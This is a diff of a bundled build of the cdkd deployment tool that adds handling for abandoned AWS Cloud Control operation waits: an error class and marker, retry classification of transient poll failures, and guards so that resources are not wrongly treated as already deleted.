this.logger.warn(this.maskSecretsForLog(`Unsupported dynamic reference service: ${this.maskSecretsForLog(nameLogText(String(service)), context)}`, context));
|
|
29503
|
+
continue;
|
|
29504
|
+
}
|
|
29505
|
+
if (cacheable) this.cachedDynamicReferences.set(fullMatch, {
|
|
29506
|
+
value: resolved,
|
|
29507
|
+
secret: isSecret
|
|
29508
|
+
});
|
|
29509
|
+
if (isSecret && resolved) {
|
|
29510
|
+
context?.recordedSecretValues?.set(resolved, fullMatch);
|
|
29511
|
+
if (context?.recordedSecretValues) recordResolvedPair(context.recordedSecretValues, fullMatch, resolved);
|
|
29512
|
+
if (service === "secretsmanager" || service === "ssm-secure") this.pinSecretVerdict(fullMatch, true);
|
|
29513
|
+
}
|
|
29514
|
+
result = result.replace(fullMatch, () => resolved);
|
|
29515
|
+
twin = twin.replace(fullMatch, () => isSecret && resolved ? "***" : resolved);
|
|
29516
|
+
} catch (err) {
|
|
29517
|
+
if (context?.abandonedResolutions === void 0) throw err;
|
|
29518
|
+
if (isDeliberateResolutionRefusal(err)) throw err;
|
|
29519
|
+
context.abandonedResolutions.push(this.abandonedUnit("token", tokenLogText, err, context, fullMatch, (text) => {
|
|
29520
|
+
let out = text;
|
|
29521
|
+
const segments = [...new Set(inner.split(":"))].filter((segment) => segment.length > 0).sort((a, b) => b.length - a.length);
|
|
29522
|
+
for (const segment of segments) {
|
|
29523
|
+
const logged = nameLogText(segment);
|
|
29524
|
+
if (logged !== segment) out = out.split(segment).join(logged);
|
|
29525
|
+
}
|
|
29526
|
+
return out;
|
|
29527
|
+
}));
|
|
28191
29528
|
continue;
|
|
28192
29529
|
}
|
|
28193
|
-
if (cacheable) this.cachedDynamicReferences.set(fullMatch, {
|
|
28194
|
-
value: resolved,
|
|
28195
|
-
secret: isSecret
|
|
28196
|
-
});
|
|
28197
|
-
if (isSecret && resolved) {
|
|
28198
|
-
context?.recordedSecretValues?.set(resolved, fullMatch);
|
|
28199
|
-
if (context?.recordedSecretValues) recordResolvedPair(context.recordedSecretValues, fullMatch, resolved);
|
|
28200
|
-
if (service === "secretsmanager" || service === "ssm-secure") this.pinSecretVerdict(fullMatch, true);
|
|
28201
|
-
}
|
|
28202
|
-
result = result.replace(fullMatch, () => resolved);
|
|
28203
|
-
twin = twin.replace(fullMatch, () => isSecret && resolved ? "***" : resolved);
|
|
28204
29530
|
}
|
|
28205
29531
|
if (context) this.rememberLogTwin(context, result, twin);
|
|
28206
29532
|
return {
|
|
@@ -29343,6 +30669,99 @@ function slowCcOperationTimeoutMs(resourceType, operation) {
|
|
|
29343
30669
|
}
|
|
29344
30670
|
}
|
|
29345
30671
|
|
|
30672
|
+
//#endregion
|
|
30673
|
+
//#region src/provisioning/wait-abandoned.ts
|
|
30674
|
+
/**
|
|
30675
|
+
* The "cdkd stopped watching an operation that may still be running" marker
|
|
30676
|
+
* (issue [#3236](https://github.com/go-to-k/cdkd/issues/3236), widened by
|
|
30677
|
+
* [#3253](https://github.com/go-to-k/cdkd/issues/3253)).
|
|
30678
|
+
*
|
|
30679
|
+
* `CloudControlWaitAbandonedError` is raised in `cloud-control-provider.ts`,
|
|
30680
|
+
* but FIVE call sites have to refuse it, and three of them live in other
|
|
30681
|
+
* files. Four are GOVERNED by
|
|
30682
|
+
* `tests/unit/provisioning/wait-abandoned-guard-population.test.ts`:
|
|
30683
|
+
*
|
|
30684
|
+
* - `cloud-control-provider.ts`'s own `delete()` catch,
|
|
30685
|
+
* - `deploy-engine.ts`'s replacement delete-then-CREATE arm,
|
|
30686
|
+
* - `deploy-engine.ts`'s template-removal delete arm,
|
|
30687
|
+
* - `destroy-runner.ts`'s per-resource delete loop.
|
|
30688
|
+
*
|
|
30689
|
+
* The FIFTH is `cleanupFailedCreateRemnant`, and it is outside that population
|
|
30690
|
+
* by construction rather than by oversight: its partner classifier is the
|
|
30691
|
+
* REGEX helper `isNotFoundMessage`, which carries no literal needles, so no
|
|
30692
|
+
* needle-driven scan can find it. It has a behavioural case instead, and it
|
|
30693
|
+
* needs the guard for a sharper reason than the other four — that regex is
|
|
30694
|
+
* case-INSENSITIVE, so `getaddrinfo ENOTFOUND ...` matches `/not\s*found/i`.
|
|
30695
|
+
*
|
|
30696
|
+
* Each decides "the resource is already gone" by SUBSTRING-matching the error
|
|
30697
|
+
* message, and each then DROPS the state row. An abandoned wait says the
|
|
30698
|
+
* opposite — the delete may still be running — and its message interpolates
|
|
30699
|
+
* the LOGICAL ID and the last-seen IDENTIFIER, both user- or template-chosen,
|
|
30700
|
+
* so a resource named `PageNotFound` satisfies those needles. Round 1 of
|
|
30701
|
+
* go-to-k/cdkd#3249 guarded the first site with a local `instanceof` and left
|
|
30702
|
+
* the other three, which is what this module exists to fix: ONE predicate the
|
|
30703
|
+
* three foreign sites can import without importing the provider.
|
|
30704
|
+
*
|
|
30705
|
+
* **A marker rather than an exported class + `instanceof`**, for the reason
|
|
30706
|
+
* `markNonRetryable` is one: `deploy-engine.ts` reaches the provider only
|
|
30707
|
+
* through `ProviderRegistry`, so importing the class there would add an edge
|
|
30708
|
+
* into an already dense ring, and a marker survives a wrapper that copies a
|
|
30709
|
+
* message without preserving a prototype.
|
|
30710
|
+
*
|
|
30711
|
+
* **NOT `markNonRetryable`**, though the mechanism is identical: a DELETE or
|
|
30712
|
+
* UPDATE abandonment is deliberately left RETRYABLE so the destroy runner can
|
|
30713
|
+
* re-issue an idempotent delete, and only CREATE is marked. Reusing that
|
|
30714
|
+
* marker would either make the guards miss DELETE — the case that drops a
|
|
30715
|
+
* state row — or make a DELETE non-retryable and lose the recovery.
|
|
30716
|
+
*
|
|
30717
|
+
* A LEAF: no imports, ever. All four consumers sit on the deploy engine ->
|
|
30718
|
+
* rollback executor -> registry -> provider ring, and a new edge into it from
|
|
30719
|
+
* any of them would close a cycle.
|
|
30720
|
+
*/
|
|
30721
|
+
const WAIT_ABANDONED_MARKER = Symbol.for("cdkd.waitAbandoned");
|
|
30722
|
+
/**
|
|
30723
|
+
* The `.cause` walk depth, the same bound `retryable-errors.ts` uses. cdkd
|
|
30724
|
+
* wraps errors, so the marked error is routinely one or two hops down.
|
|
30725
|
+
*/
|
|
30726
|
+
const MAX_CAUSE_CHAIN_DEPTH = 5;
|
|
30727
|
+
/**
|
|
30728
|
+
* Stamp an error as an abandoned wait.
|
|
30729
|
+
*
|
|
30730
|
+
* `E extends Error`, not `object`: the reader below is a PROTOTYPE-CHAIN
|
|
30731
|
+
* lookup, so marking a class or a shared prototype would silently mark every
|
|
30732
|
+
* instance of it. A non-extensible (frozen / sealed) error is returned
|
|
30733
|
+
* UNMARKED rather than allowed to throw — callers use this inline, so a
|
|
30734
|
+
* `TypeError` raised here would REPLACE the error the caller meant to raise.
|
|
30735
|
+
* Both rules are `markNonRetryable`'s, for its reasons.
|
|
30736
|
+
*/
|
|
30737
|
+
function markWaitAbandoned(error) {
|
|
30738
|
+
if (!Object.isExtensible(error)) return error;
|
|
30739
|
+
Object.defineProperty(error, WAIT_ABANDONED_MARKER, {
|
|
30740
|
+
value: true,
|
|
30741
|
+
enumerable: false,
|
|
30742
|
+
configurable: true,
|
|
30743
|
+
writable: false
|
|
30744
|
+
});
|
|
30745
|
+
return error;
|
|
30746
|
+
}
|
|
30747
|
+
/**
|
|
30748
|
+
* True when the error, or anything in its bounded `.cause` chain, was marked
|
|
30749
|
+
* by {@link markWaitAbandoned}.
|
|
30750
|
+
*
|
|
30751
|
+
* Every already-deleted classifier must test this BEFORE its substring match,
|
|
30752
|
+
* and must treat a true answer as "not already deleted" — i.e. re-throw. The
|
|
30753
|
+
* ordering is the whole point: a message-first guard has already decided by
|
|
30754
|
+
* the time it would consult the marker.
|
|
30755
|
+
*/
|
|
30756
|
+
function isWaitAbandonedError(error) {
|
|
30757
|
+
let current = error;
|
|
30758
|
+
for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
|
|
30759
|
+
if (current[WAIT_ABANDONED_MARKER] === true) return true;
|
|
30760
|
+
current = current.cause;
|
|
30761
|
+
}
|
|
30762
|
+
return false;
|
|
30763
|
+
}
|
|
30764
|
+
|
|
29346
30765
|
//#endregion
|
|
29347
30766
|
//#region src/provisioning/cloud-control-provider.ts
|
|
29348
30767
|
/**
|
|
@@ -29411,6 +30830,227 @@ var CloudControlOperationFailedError = class CloudControlOperationFailedError ex
|
|
|
29411
30830
|
}
|
|
29412
30831
|
};
|
|
29413
30832
|
/**
|
|
30833
|
+
* Thrown when cdkd STOPPED WAITING on a Cloud Control operation it had already
|
|
30834
|
+
* submitted — never when the operation itself reported a verdict (issue
|
|
30835
|
+
* [#3236](https://github.com/go-to-k/cdkd/issues/3236)).
|
|
30836
|
+
*
|
|
30837
|
+
* Deliberately NOT a subclass of {@link CloudControlOperationFailedError}, and
|
|
30838
|
+
* the distinction is load-bearing in three places that key off that class:
|
|
30839
|
+
* `cleanupFailedCreateRemnant`'s first guard, `delete()`'s structured
|
|
30840
|
+
* `ErrorCode: NotFound` absorption, and `isUpdateUnsupportedError`'s chain
|
|
30841
|
+
* walk. All three ask "what did the handler report", and the answer here is
|
|
30842
|
+
* NOTHING — the handler was still running when cdkd lost sight of it. In
|
|
30843
|
+
* particular the remnant cleanup must not fire: it deletes by
|
|
30844
|
+
* `error.physicalId`, and an identifier seen on an IN_PROGRESS event names a
|
|
30845
|
+
* resource whose create may be about to SUCCEED.
|
|
30846
|
+
*
|
|
30847
|
+
* Carries {@link requestToken} because that token is the only handle on an
|
|
30848
|
+
* operation cdkd has no state record for, and Cloud Control keeps a request's
|
|
30849
|
+
* status queryable by it well after the operation settles. Before this class
|
|
30850
|
+
* the token lived only in `waitForOperation`'s parameter list, so a poll that
|
|
30851
|
+
* threw discarded it and the resource — which AWS went on to create — became
|
|
30852
|
+
* invisible to state, to rollback and to `cdkd destroy`.
|
|
30853
|
+
*
|
|
30854
|
+
* **The protection is the MARKER, not the wording** — `markWaitAbandoned` in
|
|
30855
|
+
* the constructor below, which four already-deleted classifiers test before
|
|
30856
|
+
* their substring match (`src/provisioning/wait-abandoned.ts` names them;
|
|
30857
|
+
* `.claude/rules/cloud-control-wait.md` carries the whole contract). An
|
|
30858
|
+
* earlier revision of this comment said the wording was the protection, and
|
|
30859
|
+
* that is exactly what review disproved: the message interpolates the LOGICAL
|
|
30860
|
+
* ID and the last-seen IDENTIFIER, both user- or template-chosen, so a
|
|
30861
|
+
* resource named `PageNotFound` satisfies every needle no matter how carefully
|
|
30862
|
+
* the template is worded.
|
|
30863
|
+
*
|
|
30864
|
+
* The wording constraint is still KEPT as a second layer — the message avoids
|
|
30865
|
+
* the phrases where it can, the same discipline `src/deployment/delete-outcome.ts`
|
|
30866
|
+
* and `src/provisioning/nested-stack-messages.ts` carry, and
|
|
30867
|
+
* `tests/unit/provisioning/cloud-control-wait-abandoned.test.ts` asserts it
|
|
30868
|
+
* over the RENDERED message (cause text and identifier clause included) rather
|
|
30869
|
+
* than over the template. But it is belt to the marker's braces. Do not reword
|
|
30870
|
+
* this comment back into a claim that it suffices.
|
|
30871
|
+
*/
|
|
30872
|
+
var CloudControlWaitAbandonedError = class CloudControlWaitAbandonedError extends ProvisioningError {
|
|
30873
|
+
requestToken;
|
|
30874
|
+
ccOperation;
|
|
30875
|
+
/**
|
|
30876
|
+
* The `Identifier` from the last progress event cdkd managed to read, when
|
|
30877
|
+
* one carried it. Cloud Control populates it on IN_PROGRESS events once the
|
|
30878
|
+
* handler has materialized the resource, so on a CREATE this is frequently
|
|
30879
|
+
* the physical id of the very resource that is about to go untracked — worth
|
|
30880
|
+
* printing, and deliberately NOT worth acting on (see the remnant-cleanup
|
|
30881
|
+
* note above).
|
|
30882
|
+
*/
|
|
30883
|
+
lastSeenIdentifier;
|
|
30884
|
+
constructor(message, resourceType, logicalId, requestToken, ccOperation, lastSeenIdentifier, cause) {
|
|
30885
|
+
super(message, resourceType, logicalId, lastSeenIdentifier, cause);
|
|
30886
|
+
this.requestToken = requestToken;
|
|
30887
|
+
this.ccOperation = ccOperation;
|
|
30888
|
+
this.lastSeenIdentifier = lastSeenIdentifier;
|
|
30889
|
+
this.name = "CloudControlWaitAbandonedError";
|
|
30890
|
+
Object.setPrototypeOf(this, CloudControlWaitAbandonedError.prototype);
|
|
30891
|
+
markWaitAbandoned(this);
|
|
30892
|
+
}
|
|
30893
|
+
};
|
|
30894
|
+
/**
|
|
30895
|
+
* Node / undici socket-level failure codes, i.e. the request never reached
|
|
30896
|
+
* Cloud Control or its response never came back.
|
|
30897
|
+
*
|
|
30898
|
+
* Mirrors `@smithy/service-error-classification`'s own
|
|
30899
|
+
* `NODEJS_TIMEOUT_ERROR_CODES` (`ECONNRESET` / `ECONNREFUSED` / `EPIPE` /
|
|
30900
|
+
* `ETIMEDOUT`), widened by the DNS and route shapes a dropped VPN also
|
|
30901
|
+
* produces. The SDK already retries every one of these under STANDARD mode —
|
|
30902
|
+
* three attempts, sub-second — so an error that reaches cdkd here is one the
|
|
30903
|
+
* SDK's own budget did not outlast, not one it declined to retry.
|
|
30904
|
+
*/
|
|
30905
|
+
const POLL_TRANSPORT_ERROR_CODES = /* @__PURE__ */ new Set([
|
|
30906
|
+
"ECONNRESET",
|
|
30907
|
+
"ECONNREFUSED",
|
|
30908
|
+
"ECONNABORTED",
|
|
30909
|
+
"EPIPE",
|
|
30910
|
+
"ETIMEDOUT",
|
|
30911
|
+
"ENOTFOUND",
|
|
30912
|
+
"EAI_AGAIN",
|
|
30913
|
+
"EHOSTUNREACH",
|
|
30914
|
+
"ENETUNREACH",
|
|
30915
|
+
"ENETDOWN",
|
|
30916
|
+
"EPROTO"
|
|
30917
|
+
]);
|
|
30918
|
+
/** SDK error names for a request that timed out or was aborted in transit. */
|
|
30919
|
+
const POLL_TRANSPORT_ERROR_NAMES = /* @__PURE__ */ new Set([
|
|
30920
|
+
"TimeoutError",
|
|
30921
|
+
"RequestTimeout",
|
|
30922
|
+
"RequestTimeoutException",
|
|
30923
|
+
"RequestAbortedException"
|
|
30924
|
+
]);
|
|
30925
|
+
/**
|
|
30926
|
+
* Matches one of {@link POLL_TRANSPORT_ERROR_CODES} as a whole word inside a
|
|
30927
|
+
* message that lost its `code` property.
|
|
30928
|
+
*
|
|
30929
|
+
* DERIVED from the set rather than hand-spelled, so the two can never disagree
|
|
30930
|
+
* about which codes count — and so the pattern cannot be wrong about a code's
|
|
30931
|
+
* LENGTH, which a hand-written `E[A-Z]{3,10}` was: it is eleven characters
|
|
30932
|
+
* after the `E` in `ECONNREFUSED`, the exact code the issue reported, so the
|
|
30933
|
+
* arm silently matched nothing for the case it was added for.
|
|
30934
|
+
*/
|
|
30935
|
+
const POLL_TRANSPORT_CODE_IN_MESSAGE = new RegExp(`\\b(?:${[...POLL_TRANSPORT_ERROR_CODES].join("|")})\\b`);
|
|
30936
|
+
/**
|
|
30937
|
+
* The `.cause` walk depth. It is `retryable-errors.ts`'s `MAX_CAUSE_CHAIN_DEPTH`
|
|
30938
|
+
* VALUE, and equality is the requirement rather than a coincidence: a transport
|
|
30939
|
+
* code this predicate finds at a depth `isThrottlingError` /
|
|
30940
|
+
* `isMarkedNonRetryable` / `isRetryableTransientError` structurally cannot
|
|
30941
|
+
* reach means two classifiers answering differently about one chain, which is
|
|
30942
|
+
* the divergence this area keeps collapsing. A literal because that constant is
|
|
30943
|
+
* module-private there, and `tests/unit/provisioning/cloud-control-wait-abandoned.test.ts`
|
|
30944
|
+
* pins the pair by building a chain one hop deeper than the bound and asserting
|
|
30945
|
+
* BOTH refuse it -- a claim an earlier revision made with no such case behind
|
|
30946
|
+
* it, which is exactly the shape a fence audit greps for.
|
|
30947
|
+
*
|
|
30948
|
+
* cdkd wraps errors (`ProvisioningError` keeps the raw one as `cause`), so the
|
|
30949
|
+
* socket error is routinely one or two hops down; the bound also keeps a cyclic
|
|
30950
|
+
* chain from hanging the classifier.
|
|
30951
|
+
*/
|
|
30952
|
+
const POLL_CAUSE_CHAIN_DEPTH = 5;
|
|
30953
|
+
/**
|
|
30954
|
+
* Decide what a `GetResourceRequestStatus` failure may say outside `--verbose`.
|
|
30955
|
+
*
|
|
30956
|
+
* ONE function because there are TWO readers and they must not disagree about
|
|
30957
|
+
* one error: `abandonWait`, whose message is persisted verbatim into
|
|
30958
|
+
* `deployments/{runId}.jsonl`, and the re-poll `logger.warn`, which runs at
|
|
30959
|
+
* DEFAULT verbosity. They were separate, and the gap was reachable rather than
|
|
30960
|
+
* theoretical -- `POLL_TRANSPORT_CODE_IN_MESSAGE` matches a socket code
|
|
30961
|
+
* ANYWHERE in the message, so a `credential_process` stderr that happens to
|
|
30962
|
+
* contain `ETIMEDOUT` classifies as transient, and the warn printed the helper
|
|
30963
|
+
* argv and stderr on every re-poll while the abandonment that eventually
|
|
30964
|
+
* followed reduced them.
|
|
30965
|
+
*
|
|
30966
|
+
* The authorship decision is `describeAwsFailure`'s, not a local copy. It was
|
|
30967
|
+
* one for a while: this module fixed the `$metadata`-presence defect before the
|
|
30968
|
+
* shared helper could, and carried its own three-arm predicate with a comment
|
|
30969
|
+
* saying why. Issue [#3297](https://github.com/go-to-k/cdkd/issues/3297) fixed
|
|
30970
|
+
* the helper and deleted the duplicate, so one error can no longer be
|
|
30971
|
+
* classified two ways. The measurements behind those arms -- what smithy stamps
|
|
30972
|
+
* and on what, why credential resolution carries neither signal, and which
|
|
30973
|
+
* `*ProviderError` siblings are deliberately left raw -- live with the
|
|
30974
|
+
* predicate now, in `aws-failure-text.ts`.
|
|
30975
|
+
*/
|
|
30976
|
+
function describePollFailure(error) {
|
|
30977
|
+
if (error === void 0) return {
|
|
30978
|
+
display: "",
|
|
30979
|
+
detail: "",
|
|
30980
|
+
marker: false
|
|
30981
|
+
};
|
|
30982
|
+
if (!(error instanceof Error)) {
|
|
30983
|
+
const other = describeAwsFailure(error);
|
|
30984
|
+
return {
|
|
30985
|
+
display: other.summary,
|
|
30986
|
+
detail: other.detail,
|
|
30987
|
+
marker: false
|
|
30988
|
+
};
|
|
30989
|
+
}
|
|
30990
|
+
const described = describeAwsFailure(error);
|
|
30991
|
+
if (!described.redacted) return {
|
|
30992
|
+
display: error.message,
|
|
30993
|
+
detail: "",
|
|
30994
|
+
marker: false
|
|
30995
|
+
};
|
|
30996
|
+
if (error.message === "") return {
|
|
30997
|
+
display: "",
|
|
30998
|
+
detail: "",
|
|
30999
|
+
marker: false
|
|
31000
|
+
};
|
|
31001
|
+
return {
|
|
31002
|
+
display: described.summary,
|
|
31003
|
+
detail: described.detail,
|
|
31004
|
+
marker: true
|
|
31005
|
+
};
|
|
31006
|
+
}
|
|
31007
|
+
/**
|
|
31008
|
+
* True when a `GetResourceRequestStatus` call failed for a reason that says
|
|
31009
|
+
* nothing about the OPERATION — the poll could not be delivered or answered,
|
|
31010
|
+
* so re-polling the same token is the correct response.
|
|
31011
|
+
*
|
|
31012
|
+
* Fail-CLOSED: an unmodelled shape answers false, so the wait is not RETRIED.
|
|
31013
|
+
* It is still ABANDONED rather than aborted bare — the caller carries the
|
|
31014
|
+
* request token out on that arm too, since losing the handle is issue #3236's
|
|
31015
|
+
* defect whatever the trigger. The safe direction here is about retrying, not
|
|
31016
|
+
* about reporting: the errors this must NOT absorb are the ones a retry can
|
|
31017
|
+
* only re-derive —
|
|
31018
|
+
* `RequestTokenNotFoundException` (the token is genuinely gone),
|
|
31019
|
+
* `AccessDeniedException`, `ValidationException`.
|
|
31020
|
+
*
|
|
31021
|
+
* Throttles and transient 5xx are in scope alongside transport, and not as a
|
|
31022
|
+
* generalization for its own sake: they are the same defect with a different
|
|
31023
|
+
* trigger, and the throttle case is the WORSE of the two today. The abort
|
|
31024
|
+
* is retryable by BOTH routes the classifier offers — `isThrottlingError`'s
|
|
31025
|
+
* chain walk over the threaded cause, and (before the cause is reduced to its
|
|
31026
|
+
* wire code) AWS's own `Rate exceeded` wording against
|
|
31027
|
+
* `RETRYABLE_ERROR_MESSAGE_PATTERNS` — so the deploy engine's outer `withRetry`
|
|
31028
|
+
* re-invokes `create()` and duplicates a resource that is already being created
|
|
31029
|
+
* (go-to-k/cdkd#2039), where the transport case merely loses track of one.
|
|
31030
|
+
* Measured, not assumed: `isRetryableTransientError` answers true for a
|
|
31031
|
+
* throttle and false for `connect ECONNREFUSED ...`.
|
|
31032
|
+
*
|
|
31033
|
+
* The message arm exists for a wrapper that dropped `.code` while keeping the
|
|
31034
|
+
* text. It is scoped by its SOURCE — the only input is an error thrown by the
|
|
31035
|
+
* SDK out of `cloudControlClient.send`, never template- or user-authored text
|
|
31036
|
+
* — so an `E`-prefixed token there denotes a socket error rather than
|
|
31037
|
+
* something a user happened to type.
|
|
31038
|
+
*/
|
|
31039
|
+
function isTransientPollFailure(error) {
|
|
31040
|
+
if (isThrottlingError(error) || isTransientServerError(error)) return true;
|
|
31041
|
+
let current = error;
|
|
31042
|
+
for (let depth = 0; depth < POLL_CAUSE_CHAIN_DEPTH && current != null; depth++) {
|
|
31043
|
+
const code = current.code;
|
|
31044
|
+
if (typeof code === "string" && POLL_TRANSPORT_ERROR_CODES.has(code)) return true;
|
|
31045
|
+
const name = current.name;
|
|
31046
|
+
if (typeof name === "string" && POLL_TRANSPORT_ERROR_NAMES.has(name)) return true;
|
|
31047
|
+
const message = current.message;
|
|
31048
|
+
if (typeof message === "string" && POLL_TRANSPORT_CODE_IN_MESSAGE.test(message)) return true;
|
|
31049
|
+
current = current.cause;
|
|
31050
|
+
}
|
|
31051
|
+
return false;
|
|
31052
|
+
}
|
|
31053
|
+
/**
|
|
29414
31054
|
* Matches service-worded "the resource is gone" failure messages, including
|
|
29415
31055
|
* shapes whose wording lacks the canonical `not found` substring (CodeDeploy:
|
|
29416
31056
|
* "No Deployment Group found for name: ..."). Deliberately scoped to the
|
|
@@ -29614,6 +31254,34 @@ var CloudControlProvider = class {
|
|
|
29614
31254
|
MAX_WAIT_TIME_MS = 9e5;
|
|
29615
31255
|
INITIAL_POLL_INTERVAL_MS = 1e3;
|
|
29616
31256
|
MAX_POLL_INTERVAL_MS = 1e4;
|
|
31257
|
+
/**
|
|
31258
|
+
* How long an UNBROKEN run of transient poll failures is tolerated before
|
|
31259
|
+
* `waitForOperation` gives up and throws {@link CloudControlWaitAbandonedError}
|
|
31260
|
+
* (issue #3236). Reset by any poll that gets an answer, so it measures one
|
|
31261
|
+
* outage rather than a session's total flakiness.
|
|
31262
|
+
*
|
|
31263
|
+
* It is a SECOND bound INSIDE the existing wall-clock budget, never an
|
|
31264
|
+
* extension of one: the `while` condition below still holds, so re-polling
|
|
31265
|
+
* can only consume time the wait already had. `slow-cc-operation-timeouts.ts`
|
|
31266
|
+
* couples that budget to the two outer per-resource deadlines deliberately,
|
|
31267
|
+
* and a separate attempt budget able to outlive it would break the coupling.
|
|
31268
|
+
*
|
|
31269
|
+
* Two minutes because the failures that reach this loop have already
|
|
31270
|
+
* outlasted the SDK's own three STANDARD-mode attempts, so the population is
|
|
31271
|
+
* outages of seconds to minutes — a VPN reconnect, a DHCP renew, a throttle
|
|
31272
|
+
* that needs more than the SDK's sub-second backoff. Waiting the FULL budget
|
|
31273
|
+
* instead (up to 60 min for a slow type) would buy nothing the resume hint
|
|
31274
|
+
* does not: past this point the operation is equally unreachable, and the
|
|
31275
|
+
* user gets the same request token thirteen to fifty-eight minutes sooner.
|
|
31276
|
+
*/
|
|
31277
|
+
POLL_TRANSIENT_GRACE_MS = 12e4;
|
|
31278
|
+
/**
|
|
31279
|
+
* The grace `disableCcProtection`'s wait takes instead (issue
|
|
31280
|
+
* go-to-k/cdkd#3253 item 1). Its call site carries the reasoning; the short
|
|
31281
|
+
* version is that the flip is best-effort and swallowed, so a long wait there
|
|
31282
|
+
* is dead wall clock on a destroy that is failing anyway.
|
|
31283
|
+
*/
|
|
31284
|
+
PROTECTION_FLIP_TRANSIENT_GRACE_MS = 1e4;
|
|
29617
31285
|
constructor() {
|
|
29618
31286
|
const awsClients = getAwsClients();
|
|
29619
31287
|
this.cloudControlClient = awsClients.cloudControl;
|
|
@@ -29689,17 +31357,21 @@ var CloudControlProvider = class {
|
|
|
29689
31357
|
try {
|
|
29690
31358
|
const cleanupResult = await this.delete(logicalId, error.physicalId, resourceType);
|
|
29691
31359
|
if (cleanupResult?.outcome === "skipped") {
|
|
29692
|
-
this.logger.warn(`Skipped deleting the remnant ${error.physicalId} left by the failed CREATE of ${logicalId}
|
|
31360
|
+
this.logger.warn(`Skipped deleting the remnant ${error.physicalId} left by the failed CREATE of ${logicalId} (a retry may fail with AlreadyExists until it is removed manually): ${displaySafe(cleanupResult.reason)}`);
|
|
29693
31361
|
return;
|
|
29694
31362
|
}
|
|
29695
31363
|
this.logger.debug(`Removed failed-create remnant ${error.physicalId} for ${logicalId}`);
|
|
29696
31364
|
} catch (cleanupError) {
|
|
29697
31365
|
const message = cleanupError instanceof Error ? cleanupError.message : String(cleanupError);
|
|
31366
|
+
if (isWaitAbandonedError(cleanupError)) {
|
|
31367
|
+
this.logger.warn(`Could not confirm whether the remnant ${error.physicalId} left by the failed CREATE of ${logicalId} was removed (a retry may fail with AlreadyExists until it is removed manually): ${displaySafe(message)}`);
|
|
31368
|
+
return;
|
|
31369
|
+
}
|
|
29698
31370
|
if (isNotFoundMessage(message)) {
|
|
29699
31371
|
this.logger.info(`The remnant ${error.physicalId} left by the failed CREATE of ${logicalId} was already gone (not found); nothing to clean up`);
|
|
29700
31372
|
return;
|
|
29701
31373
|
}
|
|
29702
|
-
this.logger.warn(`Failed to delete the remnant ${error.physicalId} left by the failed CREATE of ${logicalId}
|
|
31374
|
+
this.logger.warn(`Failed to delete the remnant ${error.physicalId} left by the failed CREATE of ${logicalId} (a retry may fail with AlreadyExists until it is removed manually): ${displaySafe(message)}`);
|
|
29703
31375
|
}
|
|
29704
31376
|
}
|
|
29705
31377
|
/**
|
|
@@ -29770,7 +31442,7 @@ var CloudControlProvider = class {
|
|
|
29770
31442
|
const indeterminateGuard = await this.confirmDeleteTargetIdentity(logicalId, resourceType, physicalId, context);
|
|
29771
31443
|
if (context?.removeProtection === true && resourceType === "AWS::AutoScaling::AutoScalingGroup") {
|
|
29772
31444
|
this.logger.debug(`Delegating protected AutoScalingGroup ${logicalId} delete to the SDK ASGProvider (Cloud Control cannot force-delete a protected ASG)`);
|
|
29773
|
-
const { ASGProvider } = await import("./asg-provider-
|
|
31445
|
+
const { ASGProvider } = await import("./asg-provider-ac412LEP.js").then((n) => n.n);
|
|
29774
31446
|
const asgProvider = new ASGProvider();
|
|
29775
31447
|
return withIndeterminateGuard(await asgProvider.delete(logicalId, physicalId, resourceType, _properties, context), indeterminateGuard);
|
|
29776
31448
|
}
|
|
@@ -29793,7 +31465,8 @@ var CloudControlProvider = class {
|
|
|
29793
31465
|
return withIndeterminateGuard(void 0, indeterminateGuard);
|
|
29794
31466
|
} catch (error) {
|
|
29795
31467
|
const err = error;
|
|
29796
|
-
|
|
31468
|
+
const notFoundErrorCode = error instanceof CloudControlOperationFailedError && error.ccOperation === "DELETE" && error.ccErrorCode === "NotFound";
|
|
31469
|
+
if (!isWaitAbandonedError(error) && (notFoundErrorCode || err.name === "ResourceNotFoundException" || err.message?.includes("does not exist") || err.message?.includes("not found") || err.message?.includes("NotFound"))) {
|
|
29797
31470
|
await this.assertRecordedRegionAgainstClient("not-found", context?.expectedRegion, resourceType, logicalId, physicalId);
|
|
29798
31471
|
this.logger.debug(`Resource ${logicalId} already deleted (not found), treating as success`);
|
|
29799
31472
|
return withIndeterminateGuard(void 0, indeterminateGuard);
|
|
@@ -29858,7 +31531,7 @@ var CloudControlProvider = class {
|
|
|
29858
31531
|
try {
|
|
29859
31532
|
clientRegion = canonicalizeRegion((await this.cloudControlClient.config.region())?.trim());
|
|
29860
31533
|
} catch (error) {
|
|
29861
|
-
this.logger.debug(`Could not resolve the Cloud Control client region before the ${phase} region check for ${logicalId} (${resourceType}): ${
|
|
31534
|
+
this.logger.debug(`Could not resolve the Cloud Control client region before the ${phase} region check for ${logicalId} (${resourceType}): ${displaySafe(describeAwsFailure(error).detail)}`);
|
|
29862
31535
|
clientRegion = void 0;
|
|
29863
31536
|
}
|
|
29864
31537
|
try {
|
|
@@ -30021,11 +31694,14 @@ var CloudControlProvider = class {
|
|
|
30021
31694
|
this.logger.warn(`Could not disable ${protectionProperty} on ${logicalId}: no request token received; proceeding with delete`);
|
|
30022
31695
|
return;
|
|
30023
31696
|
}
|
|
30024
|
-
await this.waitForOperation(response.ProgressEvent.RequestToken, logicalId, "UPDATE", resourceType);
|
|
31697
|
+
await this.waitForOperation(response.ProgressEvent.RequestToken, logicalId, "UPDATE", resourceType, this.PROTECTION_FLIP_TRANSIENT_GRACE_MS);
|
|
30025
31698
|
this.logger.debug(`Disabled ${protectionProperty} on ${logicalId}`);
|
|
30026
31699
|
} catch (error) {
|
|
30027
|
-
const
|
|
30028
|
-
|
|
31700
|
+
const described = describePollFailure(error);
|
|
31701
|
+
const safeMessage = displaySafe(described.display);
|
|
31702
|
+
this.logger.warn(`Could not disable ${protectionProperty} on ${logicalId} (${resourceType}), proceeding with delete${safeMessage === "" ? "" : `: ${safeMessage}`}`);
|
|
31703
|
+
const detail = described.detail;
|
|
31704
|
+
if (detail !== "") this.logger.debug(`Could not disable ${protectionProperty} on ${logicalId}, underlying failure: ${displaySafe(detail)}`);
|
|
30029
31705
|
}
|
|
30030
31706
|
}
|
|
30031
31707
|
/**
|
|
@@ -30045,17 +31721,61 @@ var CloudControlProvider = class {
|
|
|
30045
31721
|
}
|
|
30046
31722
|
}
|
|
30047
31723
|
/**
|
|
30048
|
-
* Wait for an asynchronous operation to complete
|
|
31724
|
+
* Wait for an asynchronous operation to complete.
|
|
